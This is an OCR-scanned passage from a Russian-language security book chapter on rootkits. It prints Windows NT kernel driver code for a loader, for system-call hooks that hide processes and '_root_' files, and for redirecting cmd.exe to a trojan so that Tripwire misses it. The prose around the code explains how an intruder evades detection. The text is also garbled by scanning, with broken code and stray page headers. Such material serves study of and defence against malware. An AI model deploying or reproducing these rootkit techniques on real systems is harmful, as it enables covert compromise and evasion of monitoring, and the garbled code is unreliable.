if(!sh)
{
puts("error OpenSCManager");
exit(1);
}
SC_HANDLE rh =CreateService(
sh,
"_root_",
"_root_",
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
"C:\\_root_.sys",
NULL,
NULL,
NULL,
NULL,
NULL);
if(!rh)
{
if (GetLastError()==ERROR_SERVICE_EXISTS)
{
//служба существует
rh =OpenService(
sh,
"_root_",
SERVICE_ALL_ACCESS);
if(!rh)
{

Наборы средств для взлома

}

333

puts("error OpenService");
CloseServiceHandle(sh);
exit(1);

}
else
{

}

}

puts("error CreateService");
CloseServiceHandle(sh);
exit(1);

}
else if(*argv [1 ]=='u')
{
SERVICE_STATUS ss;
printf("Выгрузка rootkit-драйвера".\n");
SC_HANDLE sh = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if(!sh)
{
puts("error OpenSCManager");
exit(1);
}
SC_HANDLE rh =OpenService(
sh,
"_root_",
SERVICE_ALL_ACCESS);
if(!rh)
{
puts("error OpenService");
CloseServiceHandle(sh);
exit(1);
}
if(!ControlService(rh,SERVICE_CONTROL_STOP,&ss))
{
puts("предупреждение: невозможно остановить службу");
}
if (!DeleteService(rh))
{
puts("предупреждение: невозможно удалить службу");
}
CloseServiceHandle(rh);
CloseServiceHandle(sh);

}
else usage(argv[0]);
}

return 0;

Эту программу можно использовать с параметрами l и u для регистрации и от>
мены регистрации драйвера, соответственно. Не забывайте, что мы можем использо>
вать эту программу на этапе тестирования или разработки драйвера. После регист>
рации драйвера можно использовать команды net start _root_to и net stop
_root_ для запуска и останова набора средств для взлома.

Использование функции SystemLoadAndCallImage
Теперь, после того, как мы показали “правильный” способ регистрации драйвера,
представим себя на месте хакера, который проник в систему и хочет установить на>
бор средств для взлома. Регистрацию драйвера на чужом компьютере нельзя назвать
удачной идеей, поскольку это приводит к созданию записей в реестре и может ока>

334

Глава 8

заться причиной обнаружения деятельности хакера. Используя недокументирован>
ный вызов функции API SystemLoadAndCallImage, для систем Windows NT
можно загрузить и запустить драйвер за одно действие. При этом не требуется ника>
кой регистрации. Однако это означает, что после загрузки драйвера его невозможно
выгрузить! Наша программа будет находиться в памяти до следующей перезагрузки
компьютера. Другой побочный эффект заключается в том, что мы можем за один се>
анс загрузить драйвер несколько раз. Обычно драйвер может загружаться только
один раз, но применив наш специальный системный вызов, мы можем загружать и
запускать столько копий драйвера, сколько нам нужно.
Ниже приведен код для этой специальной загрузки программы. Предполагается,
что местом хранения набора средств для взлома является c:\_root_.sys.
//программа загрузки для установки набора средств для взлома в ядре
//---------------------------------------------------//www.rootkit.com
//---------------------------------------------------#include
#include
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
#ifdef MIDL_PASS
[size_is(MaximumLength /2 ), length_is((Length) / 2) ] USHORT * Buffer;
#else //MIDL_PASS
PWSTR Buffer;
#endif //MIDL_PASS
}UNICODE_STRING, *PUNICODE_STRING;
typedef long NTSTATUS;
#define NT_SUCCESS(Status)((NTSTATUS)(Status) >= 0)
NTSTATUS (__stdcall *ZwSetSystemInformation)(
IN DWORD SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength
);
VOID (__stdcall *RtlInitUnicodeString)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);
typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE
{
UNICODE_STRING ModuleName;
}SYSTEM_LOAD_AND_CALL_IMAGE,*PSYSTEM_LOAD_AND_CALL_IMAGE;
#define SystemLoadAndCallImage 38
void main(void)
{
SYSTEM_LOAD_AND_CALL_IMAGE GregsImage;
WCHAR daPath [] ==L"\\??\\C:\\BASIC.SYS";

Наборы средств для взлома

335

//////////////////////////////////////////////////////////////
//получаем точки входа DLL.
//////////////////////////////////////////////////////////////
if(
!(RtlInitUnicodeString =(void *)
GetProcAddress(GetModuleHandle("ntdll.dll")
,"RtlInitUnicodeString"
)
)
)
{
exit(1);
}
if(!(ZwSetSystemInformation =(void *)
GetProcAddress(
GetModuleHandle("ntdll.dll")
,"ZwSetSystemInformation"
)
)
)
{
exit(1);
}
RtlInitUnicodeString(
&(GregsImage.ModuleName)
,daPath
);
if(

}

NT_SUCCESS(
ZwSetSystemInformation(
SystemLoadAndCallImage
,&GregsImage
,sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)
)
)
)
{
printf("Набор средств для взлома загружен.\n");
}
else
{
printf("Набор средств для взлома не загружен.\n");
}

Теперь у нас есть все необходимое для создания простого драйвера устройства и
загрузки/выгрузки этого драйвера из ядра. Далее мы расскажем о приемах, предна>
значенных для сокрытия файлов, каталогов и запущенных в системе процессов.

Перехват вызовов
Перехват вызов представляет собой очень популярный метод хакинга по причине
его простоты. Разумеется, программы делают вызовы подпрограмм. На машинном
языке эти вызовы функций преобразуются в другие разновидности вызовов или в
команды перехода. Аргументы передаются нужной функции с помощью стека или
регистров центрального процессора. Команда всегда использует адрес памяти. Этот
адрес в памяти представляет собой начало кода подпрограммы. После завершения

336

Глава 8

выполнения подпрограммы управление возвращается в область памяти с ориги>
нальным кодом и продолжается выполнение основной программы.
При перехвате вызова хитрость заключается в изменении адреса, по которому
вызовом передается управление. Таким образом можно заменить оригинальную
функцию другой нужной хакеру функцией. Иногда это называют использованием
“трамплинов” (trampolining). Перехват вызовов может применяться в нескольких
местах: во внешних вызовах функций внутри программы, при вызовах функций из
библиотек DLL или даже при вызовах системных функций. При перехвате вызова
могут эмулироваться действия оригинального вызова (обычно это делается благода>
ря тому, что в конечном итоге действительно вызывается запрошенная функция),
что позволяет избежать обнаружения подмены. Обратите внимание, что при пере>
хвате вызова могут использоваться специфические изменения оригинального вызо>
ва. Например, если при вызове функции планируется получить список запущенных
в данное время процессов, то при перехвате вызова некоторые из этих процессов мо>
гут быть скрыты. Такой метод является стандартным при установке в системе
“потайных ходов”. Пакеты утилит для обеспечения перехвата вызовов являются
стандартным компонентом многих наборов средств для взлома.

Сокрытие процесса
Хакер должен контролировать ту информацию, которую пользовательские про>
граммы получают в ответ от системных вызовов. Если хакер может управлять сис>
темными вызовами, он способен контролировать и данные о системе, которые пре>
доставляет диспетчер задач с помощью стандартных запросов. Это касается и управ>
ления доступом к списку запущенных процессов.

Перехват системного вызова
Наша программа перехвата вызова достаточно проста, как показано ниже.
VOID HookSyscalls( void )
{
DbgPrint("rootkit: перехват системных вызовов\n");
Сохраняем прежний
указатель функции

Заменяем указатель
новым указателем
функции

OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)
(SYSTEMSERVICE(ZwQuerySystemInformation));
_asm cli
(ZWQUERYSYSTEMINFORMATION)
(SYSTEMSERVICE(ZwQuerySystemInformation))=
NewZwQuerySystemInformation;
_asm sti

Временное
отключение
прерываний

Мы сохраняем прежний указатель к функции ZwQuerySystemInformation.
Заменяем этот указатель в таблице переходов указателем к нашей собственной
функции NewZwQuerySystemInformation. При перезаписи указателя функции мы
временно отключаем прерывания. Это позволяет обойтись без конфликтов с другим
потоком. Когда мы опять активируем прерывания, считается, что перехват системного
вызова уже произошел, и мы немедленно начинаем принимать другие вызовы.

Наборы средств для взлома

337

Схема перехвата вызова
Рассмотрим самый элементарный перехват вызова — осуществляется только вы>
зов оригинальной функции и возвращение результатов. Таким образом, перехват
“вообще ничего не делает”. Компьютер продолжает работать нормально (замедление
работы при перенаправлении вызовов заметить практически невозможно).
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength
{
Вызов
оригинальной NTSTATUS rc;
функции
rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
return(rc);
}

Удаление записи о процессе
Если нашей целью является сокрытие процесса, придется добавить программный
код к нашему перехвату. Новый перехват вызова с возможностью сокрытия процесса
выглядит следующим образом.
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength
)
{
NTSTATUS rc;
rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
Сначала
SystemInformation,
выполняем
SystemInformationLength,
действительный
ReturnLength );
вызов
if(5 == SystemInformationClass)
{

Проверяем,
предназначен ли
этот вызов для вывода
списка процессов

struct _SYSTEM_PROCESSES *curr =
(struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
while(curr)
{

338

Глава 8
ANSI_STRING process_name;
RtlUnicodeStringToAnsiString( &process_name,
&(curr+>ProcessName), TRUE);
if( (0 < process_name.Length) &&
(255 > process_name.Length) )
{
if(0 ==
memcmp( process_name.Buffer, "_root_", 6))
{

Просматриваем
все записи
о процессах
и проверяем
имя процесса

}
}
}
}
}

На рис. 8.1 показано, каким образом записи о процессах сохраняются в массиве.
Запись о процессе
Исходный указатель
) до
Длина (
следующей записи

Запись о процессе

Новый указатель,
который мы
вставили с
помощью набора
средств для взлома

) до
Длина (
следующей записи

Запись о процессе
) до
Длина (
следующей записи

Рис. 8.1. Сохранение в массиве записей о процессах

Ниже приведен код, который удаляет запись в списке процессов.

Наборы средств для взлома

339

if(0 == memcmp( process_name.Buffer, "_root_", 6))
{
char _output[255];
char _pname[255];
memset(_pname, NULL, 255);
memcpy(_pname,
process_name.Buffer, process_name.Length);
Переходим
к предыдущей
записи в списке

sprintf

(_output,
curr+>ProcessId,
_pname);

DbgPrint(_output);
if(prev)
{
Добавляем значение
длины до следующей
записи к предыдущей
длине, что позволяет
пропустить эту запись

if(curr+>NextEntryDelta)
{
//заставляем prev пропустить эту запись
prev+>NextEntryDelta += curr+>NextEntryDelta;
}
else
{
//Наша запись последняя, поэтому завершаем prev
prev+>NextEntryDelta = 0;
}

}
else
{
if(curr+>NextEntryDelta)
{
//Наша запись первая в списке, поэтому двигаемся дальше
(char *)SystemInformation += curr+>NextEntryDelta;
}
else
{
//Наш процесс + единственный!
SystemInformation = NULL;
}
}
}

Как только мы “вырезали” запись, мы возвращаемся из вызова функции. Диспет>
чер задач получает измененные данные и пропускает запись о процессе. Таким обра>
зом нам удалось скрыть процесс.
Мы продемонстрировали, что в системе Windows NT драйвер устройства спосо>
бен перехватить любой системный вызов. В стандартном драйвере устройства всегда
присутствует функция DriverEntry (эквивалент функции main()). В этой функ>
ции можно разместить любой перехват вызова.
Процедуре загрузки драйвера передаются указатели к оригинальным функциям.
Они сохранены глобально для всеобщего доступа. Мы отключаем прерывания на
чипе Intel x86 с помощью команд __asm cli и __asm sti. На время отключения
прерываний адреса функций заменяются “троянскими” версиями в таблице перехо>
дов. Для определения корректных смещений в таблице мы используем #define.

340

Глава 8

После завершения всех замен мы можем без опасений восстановить действие преры>
ваний. При выгрузке драйвера мы выполняем ту же последовательность действий
с той разницей, что возвращаем значения указателей для оригинальных функций.

Альтернативное внедрение процесса
Еще один метод маскировки вредоносной программы заключается в присоедине>
нии вредоносного кода к запущенному процессу. Например, мы можем создать
внешний поток в существующем процессе. Внешний поток запускает вредоносный
программный код. Список процессов остается без изменений. При этом методе атаки
достаточно работать с правами пользователя и поэтому нет необходимости в доступе
на уровне ядра. Эта хитрость была использована в популярной программе Back
Orifice 2000.

Перенаправление данных с помощью
“троянских” программ
Как только хакер получает доступ к системе с правами администратора, можно
считать скомпрометированными все системы мониторинга и отслеживания целост>
ности файлов. Даже если данные аудита и контрольные суммы криптографических
средств хранятся в безопасном месте, все равно скомпрометирована сама возмож>
ность отслеживать изменения в системе. Единственное исключение из этого правила
представляет собой случай защищенных аппаратных средств, в которых система мо>
ниторинга или контроля целостности файлов хранится на отдельной изолированной
аппаратной подсистеме. Однако такого практически никогда не происходит
(особенно в отношении стандартных персональных компьютеров). Самое большее,
что может сделать системный администратор при исследовании по частям, — это
вынуть жесткий диск и запустить программу проверки целостности файлов на от>
дельной защищенной системе. По сути, это единственный способ надежного и безо>
пасного запуска программ наподобие Tripwire (популярная программа проверки це>
лостности файлов, в которой есть множество уязвимых мест).

Перенаправление и недостатки Tripwire
Рассмотренные нами в этой главе перехваты вызовов могут использоваться с це>
лью скрыть определенные сведения о системе. Что произойдет, когда хакер заменит
один файл другим, чтобы подменить оригинальную программу ее “троянской” вер>
сией? С помощью перехвата вызовов можно изменить принцип действия ориги>
нального вызова и обеспечить выполнение дополнительных функций, установку
“потайных ходов” и даже перенаправление цели запроса.
Рассмотрим популярную программу обеспечения безопасности Tripwire, которая
предназначена для мониторинга системы и выявления наборов средств для взлома и
“троянских” программ. Эта программа изучает содержимое каждого файла в системе
и создает для каждого файла криптографическое хэшированное значение. Идея в
том, что изменение содержимого файла приведет к изменению генерируемого хэша,
т.е. при следующем аудите файла с помощью Tripwire будет получено новое значе>

Наборы средств для взлома

341

ние хэша и системному администратору будет выдано уведомление об изменении
файла. В принципе, идея хорошая, только она не срабатывает на практике (по край>
ней мере, с теми хакерами, которых мы знаем).
Давайте рассмотрим, что происходит, когда хакер устанавливает набор средств
для взлома в системе. В нашем примере хакер заменяет интересующую атакуемую
программу “троянской” версией. Хакер изменяет работу Tripwire таким образом, что
системный администратор не обнаруживает установленного “потайного хода”. Ата>
куемая система работает под управлением Windows 2000.
Для краткости предположим, что хакер обнаружил уязвимое место с возможно>
стью выполнения команд в PHP>сценарии Web>сервера Windows 2000. При атаке на
систему первоочередной задачей является создание программы, использующей это
уязвимое место. Хакер компилирует драйвер устройства в системе Windows 2000, в
который добавляет код для перехвата следующих вызовов.
ZwOpenFile
ZwCreateSection

Устанавливается драйвер для перехвата этих двух вызовов и при запуске откры>
вается дескриптор выполняемой “троянской” программы. Для нашего примера
предположим, что хакер хочет заменить командный интерпретатор cmd.exe
“троянской” версией evil_cmd.exe. Когда программа или администратор попро>
буют запустить cmd.exe, вместо нормального командного интерпретатора запус>
тится “троянская” программа. К сожалению, использование Tripwire не позволит
обнаружить действия “троянской” программы.
После компиляции и тестирования драйвер устройства конвертируется в шест>
надцатеричный код и доставляется на удаленную систему, как рассказано в главе 4,
“Взлом серверных приложений” (или с помощью других методов). То же самое каса>
ется и “троянской” программы evil_cmd.exe. На атакуемой системе драйвер за>
гружается в память стандартными средствами.

Драйвер для перенаправления
Обман программы Tripwire с помощью драйвера для перенаправления осуществ>
ляется благодаря изменению хода выполнения программ (а не самих программ).
Драйвер не заменяет оригинальной программы. Программы наподобие Tripwire все>
гда выдают сведения о нормальной ситуации, поскольку они всегда проверяют пра>
вильные, неизмененные файлы. Наш перехват вызова функции ZwOpenFile прове>
ряет имя каждого открытого файла и просто отслеживает дескрипторы открытых
файлов. Если следует дальнейший запрос на открытие этого файла, то драйвер
“переключает” дескриптор оригинального файла на дескриптор “троянского” файла.
Единственным результатом будет создание нового процесса, никаких новых или из>
мененных файлов не возникнет. Программа Tripwire оказывается бесполезной.
NTSTATUS NewZwOpenFile(
PHANDLE phFile,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK pIoStatusBlock,
ULONG ShareMode,
ULONG OpenMode
)
{

342

Глава 8
int rc;
CHAR aProcessName[PROCNAMELEN];
GetProcessName( aProcessName );
DbgPrint("rootkit: NewZwOpenFile() from %s\n", aProcessName);
DumpObjectAttributes(ObjectAttributes);
rc=((ZWOPENFILE)(OldZwOpenFile)) (
phFile,
DesiredAccess,
ObjectAttributes,
pIoStatusBlock,
ShareMode,
OpenMode);

}

if(*phFile)
{
DbgPrint("rootkit: обработчик файла 0x%X\n", *phFile);
/* ___________________________________________________
. ТОЛЬКО ТЕСТИРОВАНИЕ
. Если имя начинается с cmd.exe перенаправляем
. исполнение троянской программе
. ___________________________________________________ */
if( !wcsncmp(
ObjectAttributes->ObjectName->Buffer,
L"\\??\\C:\\WINNT\\SYSTEM32\\cmd.exe",
29))
{
WatchProcessHandle(*phFile);
}
}
DbgPrint("rootkit: ZwOpenFile : rc = %x\n", rc);
return rc;

Наш перехват функции ZwOpenFile проверяет имя открываемого файла, чтобы
определить является ли цель запроса интересующим нас файлом. Если это так, то
дескриптор файла сохраняется для будущего применения. Перехват вызова просто
вызывает функцию ZwOpenFile и позволяет продолжить выполнение программы.
Если предпринимается попытка запустить процесс, используя этот дескриптор
файла, наш код осуществит перенаправление к “троянской” программе. До создания
процесса должен быть выделен раздел памяти (memory section). Раздел памяти на>
поминает проецируемый в память файл в ядре NT. Раздел памяти создается с ис>
пользованием дескриптора файла. Создается отображение в виртуальной памяти,
после чего может осуществляться вызов ZwCreateProcess. Наш драйвер контро>
лирует все случаи создания разделов памяти для дескриптора интересующего нас
файла. Если происходит отображение искомого файла, то существует большая веро>
ятность его использования. Вот здесь драйвер и меняет местами дескрипторы фай>
лов. Вместо отображения правильного файла, драйвер меняет раздел памяти и ото>
бражает “троянский” исполняемый файл. Все это работает очень хорошо и в резуль>
тате мы получаем исполняемую “троянскую” программу. Наша замена для функции
ZwCreateSection выглядит следующим образом.
NTSTATUS NewZwCreateSection (
OUT PHANDLE phSection,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG SectionPageProtection,

Наборы средств для взлома

{

343

IN ULONG AllocationAttributes,
IN HANDLE hFile OPTIONAL
)
int rc;
CHAR aProcessName[PROCNAMELEN];
GetProcessName( aProcessName );
DbgPrint("rootkit: NewZwCreateSection()
from %s\n", aProcessName);
DumpObjectAttributes(ObjectAttributes);

#if 1

#endif

}

if(AllocationAttributes & SEC_FILE)
DbgPrint("AllocationAttributes & SEC_FILE\n");
if(AllocationAttributes & SEC_IMAGE)
DbgPrint("AllocationAttributes & SEC_IMAGE\n");
if(AllocationAttributes & SEC_RESERVE)
DbgPrint("AllocationAttributes & SEC_RESERVE\n");
if(AllocationAttributes & SEC_COMMIT)
DbgPrint("AllocationAttributes & SEC_COMMIT\n");
if(AllocationAttributes & SEC_NOCACHE)
DbgPrint("AllocationAttributes & SEC_NOCACHE\n");
DbgPrint("ZwCreateSection hFile == 0x%X\n", hFile);
if(hFile)
{
HANDLE newFileH = CheckForRedirectedFile( hFile );
if(newFileH){
hFile = newFileH;
}
}
rc=((ZWCREATESECTION)(OldZwCreateSection)) (
phSection,
DesiredAccess,
ObjectAttributes,
MaximumSize,
SectionPageProtection,
AllocationAttributes,
hFile);
if(phSection)
{
DbgPrint("section handle 0x%X\n", *phSection);
}
DbgPrint("rootkit: ZwCreateSection : rc = %x\n", rc);
return rc;

С помощью приведенного ниже кода “троянский” файл можно отобразить в па>
мять. Это функции поддержки, вызываемые из приведенного выше программного
кода. Обратите внимание на путь к “троянскому” исполняемому файлу на диске C.
HANDLE
HANDLE
HANDLE
HANDLE

gFileHandle = 0;
gSectionHandle = 0;
gRedirectSectionHandle = 0;
gRedirectFileHandle = 0;

void WatchProcessHandle( HANDLE theFileH )
{
NTSTATUS rc;
HANDLE hProcessCreated, hProcessOpened, hFile, hSection;
OBJECT_ATTRIBUTES ObjectAttr;
UNICODE_STRING ProcessName;
UNICODE_STRING SectionName;
UNICODE_STRING FileName;

344

Глава 8
LARGE_INTEGER MaxSize;
ULONG SectionSize=8192;
IO_STATUS_BLOCK ioStatusBlock;
ULONG allocsize = 0;
DbgPrint("rootkit: загрузка образа троянского файла\n");
/* сначала открываем файл с помощью NtCreateFile
. это работает для образа Win32.
. calc.exe только для тестирования.
*/
RtlInitUnicodeString(&FileName, L"\\??\\C:\\evil_cmd.exe");
InitializeObjectAttributes( &ObjectAttr,
&FileName,
OBJ_CASE_INSENSITIVE,
NULL,
NULL);
rc = ZwCreateFile(
&hFile,
GENERIC_READ | GENERIC_EXECUTE,
&ObjectAttr,
&ioStatusBlock,
&allocsize,
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ,
FILE_OPEN,
0,
NULL,
0);
if (rc!=STATUS_SUCCESS) {
DbgPrint("Невозможно открыть файл, rc=%x\n", rc);
return 0;
}
SetTrojanRedirectFile( hFile );
gFileHandle = theFileH;

}
HANDLE CheckForRedirectedFile( HANDLE hFile )
{
if(hFile == gFileHandle)
{
DbgPrint("rootkit: Обнаружено перенаправление
дескриптора файла filehandle - из %x в %x\n",
hFile, gRedirectFileHandle);
return gRedirectFileHandle;
}
return NULL;
}
void SetTrojanRedirectFile( HANDLE hFile )
{
gRedirectFileHandle = hFile;
}

Сокрытие файлов и каталогов
Продолжая тему маскировки с помощью перехвата вызовов, есть смысл расска>
зать о сокрытии каталогов, в которых хакер может разместить файлы журналов и
утилиты. И снова для решения этой задачи достаточно перехвата одного вызова. В сис>
теме Windows NT это вызов функции QueryDirectoryFile(). Наша “троянская”
версия этой функции будет скрывать все файлы и каталоги, названия которых начи>

Наборы средств для взлома

345

наются с _root_. И снова хитрость очень проста и удобна в использовании. В дей>
ствительности, файлы и каталоги продолжают существовать и можно использовать
ссылки к этим файлам и каталогам. Только программы для отображения списка и
содержимого каталогов будут выдавать неполную информацию. Можно изменять
положение скрытого каталога или исполнять и открывать скрытые файлы. Однако
лучше запомнить названия этих файлов и каталогов!
NTSTATUS NewZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery
)
{
NTSTATUS rc;
CHAR aProcessName[PROCNAMELEN];
GetProcessName(aProcessName );
DbgPrint("rootkit:NewZwQueryDirectoryFile()from %s \n",aProcessName);
rc=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(
hFile,
/*это дескриптор каталога */
hEvent,
IoApcRoutine,
IoApcContext,
pIoStatusBlock,
FileInformationBuffer,
FileInformationBufferLength,
FileInfoClass,
bReturnOnlyOneEntry,
PathMask,
bRestartQuery);
// этот код был нами позаимствован и адаптирован
if(NT_SUCCESS(rc ))
{
if(0 ==memcmp(aProcessName,"_root_",6))
{
DbgPrint("rootkit:обнаруженный запрос
файла/каталога из _root_process \n");
}
//Ищем файловый объект для запрошенного каталога
//Этот флаг контролируется оболочкой ядра
else if(g_hide_directories)
{
PDirEntry p = (PDirEntry)FileInformationBuffer;
PDirEntry pLast = NULL;
BOOL bLastOne;
do
{
bLastOne =!(p->dwLenToNext );
//Этот блок использовался раньше для
//изменения информации о файле null.sys?
//теперь он не нужен ...-Грег
//if(RtlCompareMemory((PVOID)&p->suName [ 0 ],
//(PVOID)&g_swRootSys [ 0 ],20 )==20 )

346
//{

}

Глава 8

//p->ftCreate =fdeNull.ftCreate;
//p->ftLastAccess =fdeNull.ftLastAccess;
//p->ftLastWrite =fdeNull.ftLastWrite;
//p->dwFileSizeHigh =fdeNull.dwFileSizeHigh;
//p->dwFileSizeLow =fdeNull.dwFileSizeLow;
//}
//else
//сравниваем начало имени каталога с '_root_'
//чтобы принять решение о его маскировке.
if(RtlCompareMemory( (PVOID)&p->suName[ 0 ],
(PVOID)&g_swFileHidePrefix[ 0 ], 12 ) == 12 )
{
if(bLastOne )
{
if(p ==(PDirEntry)
FileInformationBuffer )
rc =0x80000006;
else pLast->dwLenToNext =0;
break;
}
else
{
int iPos =((ULONG)p)(ULONG)FileInformationBuffer;
int iLeft =
(DWORD)FileInformationBufferLength -iPos - p->dwLenToNext;
RtlCopyMemory((PVOID)p,
(PVOID)((char *)p + p->dwLenToNext ), (DWORD)iLeft );
continue;
}
}
pLast =p;
p = (PDirEntry)((char *)p +p->dwLenToNext );
}while(!bLastOne );
}
}
return(rc);

Исправление двоичного кода
Одно из преимуществ восстановления исходного кода заключается в возможности
исследования программы на уровне двоичного кода. По мере накопления необходимо>
го опыта, вы научитесь замечать и узнавать определенные структуры данных или под>
программы по одному их внешнему виду в шестнадцатеричном редакторе. Это кажет>
ся невероятным, но опытный хакер может, проглядывая двоичный файл, сказать: “Вот
здесь таблица переходов” или “Вероятно, это пролог подпрограммы”. Такие способно>
сти проявляются у каждого, кто действительно стремится научиться читать машинный
код. Как и в любом другом деле, здесь необходимо много тренироваться.
Овладев этим искусством, со всей ясностью понимаешь, что ни одна программа
не является идеальной. Можно взломать даже самошифрующийся код. Давайте счи>
тать аксиомой, что если код исполняется процессором, то в какой>то момент он мо>
жет быть расшифрован. Многие годы сообщество хакеров работало над решением
основных задач по восстановлению исходного кода. В подавляющем большинстве
случаев хакерам удалось найти средства для взлома механизмов защиты от копиро>

Наборы средств для взлома

347

вания, которые используются поставщиками программного обеспечения. Процесс
восстановления исходного кода позволяет скопировать код генерации серийного
номера или приводит к установке заплаты в двоичном коде, которая удаляет логи>
ческие действия по проверке прав копирования из взломанной программы. Как
говорит один наш хороший друг, “то, что сделал один человек, другой человек все>
гда сможет сломать”.

“Замочная скважина” в программе
Одно из важнейших умений хакера состоит в возможности вносить изменения в
код программы (установка заплат) без изменения данных этой программы. Эта хит>
рость может применяться для доступа к интересующим данным. Допустим, необхо>
димо перехватить информацию во взламываемой программе без изменения хода ее
выполнения, которое бы можно было заметить. Для этой цели можно воспользовать>
ся специальной заплатой типа “замочная скважина” (peephole patch). Обратите вни>
мание, что фундаментальный принцип этого метода заключается в добавлении ново>
го кода без воздействия на состояние программы.
Поскольку в данном случае не требуется знать адрес в памяти исходного кода, то
метод можно использовать практически для любого компонента программного обес>
печения. Здесь не изменяются данные в регистрах центрального процессора, в стеке
или куче, поэтому хакер может быть уверен, что он не изменит нормальный ход ра>
боты программы и не будет выявлен с помощью средств обеспечения безопасности.
В этом примере мы воспользовались заполнениями в блоках кода форматирован>
ного исполняемого файла для размещения нашего дополнительного кода. Уже мно>
гие годы этот метод добавления кода использовался для достижения подобных це>
лей в вирусных программах. В данном случае мы внедряем дополнительный код в
исполняемый файл.
Давайте добавим оператор отслеживания в следующий программный код.
int my_function( int a )
{
if(a ==1)
{
//ОТСЛЕЖИВАНИЕ("a равна единице");
printf("ccc");
return 42;
}
printf("-");
return 0;
}

Функция, скомпилированная без отладки, выглядит следующим образом.

00401000
00401005
00401007
0040100C
00401011
00401014
00401019
0040101A
0040101F
00401024
00401027
00401029

cmp
jne
push
call
add
mov
ret
push
call
add
xor
ret

dword ptr [esp+4],1
0040101A
407034h
00401060
esp,4
eax,2Ah
407030h
00401060
esp,4
eax,eax

348

Глава 8

Как видим, в скомпилированной программе есть несколько команд jmp. Это ко>
манды ветвления. Как правило, подобные ветвления происходят при вызове функ>
ций if() или while(), которые присутствуют в исходном коде. Мы можем вос>
пользоваться этим и незаметно изменить ход выполнения программы. При установ>
ке заплат после команд перехода, нет необходимости в каком>либо изменении кода,
т.е. мы можем заставить команду ветвления осуществить передачу управления в ка>
кое>либо другое место без изменения близлежащего кода. В этом примере мы изме>
няем команду ветвления, чтобы заставить осуществить переход к нашему коду
ОТСЛЕЖИВАНИЕ. После исполнения нашего блока кода, используется другой пере>
ход, чтобы вернуться непосредственно в ту точку, где программа остановилась перед
тем, как наш замаскированный код использовал несколько циклов работы централь>
ного процессора.
Состояние программы очевидно не изменяется и данные в регистрах не искажа>
ются. Таким образом, программа и ее пользователь остаются полностью неосведом>
ленными о состоявшемся изменении в ходе выполнения программы. Измененная
программа продолжает работать без каких>либо заметных проявлений (разумеется,
для хакера они будут заметными).
Версия подпрограммы, которая не прошла отладку, выдает следующий результат.
00401000
00401005
00401007
0040100C
00401011
00401014
00401019
0040101A
0040101F
00401024
00401027
00401029

83
75
68
E8
83
B8
C3
68
E8
83
33
C3

7C
13
34
4F
C4
2A

24 04 01
70 40 00
00 00 00
04
00 00 00

30 70 40 00
3C 00 00 00
C4 04
C0

cmp
jne
push
call
add
mov
ret
push
call
add
xor
ret

dword ptr [esp+4 ],1
0040101A
407034h
00401060
esp,4
eax,2Ah
407030h
00401060
esp,4
eax,eax

Вызов функции OutputDebugString() выглядит следующим образом.
77F8F659 B8 9F 00 00 00
77F8F65E 8D 54 24 04
77F8F662 CD 2E

mov
lea
int

eax,9Fh
edx,[esp+4]
2Eh

Вызывается эта функция с помощью следующей команды.
00401030 68 38 70 40 00
00401035 FF 15 58 60 40 00
0040103B C3

push
call
ret

407038h
dword ptr ds:[406058h ]

В этом примере мы решили достаточно серьезную задачу — добавили в програм>
му возможность отслеживать ход выполнения программы и знать о возникновении
определенных состояний. Это позволяет “проникать” внутрь программы, что, несо>
мненно, очень важно при взломе программного обеспечения.

Установка заплат в ядро Windows NT для блокировки
всей системы защиты
В большинстве случаев лучшие заплаты очень просты в реализации. Размер за>
платы может составлять всего несколько байтов. В частотности, это справедливо для
ядра Windows NT. С помощью буквально нескольких байтов можно установить

Наборы средств для взлома

349

в ядро заплату, которая устранит всю систему защиты. Эта хитрость была описана
несколько нет назад одним из авторов этой книги (Хогланд). С тех пор появилось
несколько сообщений об усовершенствовании этой заплаты ядра и уменьшении ее
размера до одного байта. При установке одной из заплат разница между оригиналь>
ным байтом и байтом после установки заплаты составляет всего 2 бита! То есть
можно создать удивительную двухбитовую программу атаки на операционную сис>
тему Windows NT. Идея случайного или умышленного изменения значения только
одного бита, при котором последствия будут катастрофическими для всей системы
безопасности, говорит сама за себя. Возможно, система безопасности Windows NT
основана только на значении двух битов!
Каждый из нас, наверно, побоялся бы лететь на самолете, в котором программное
обеспечение для управления полетом может быть так легко и катастрофически вы>
ведено из строя из>за вспышки на Солнце. В военно>морском флоте США по сей
день управление кораблями обеспечивается с помощью систем на основе Win>
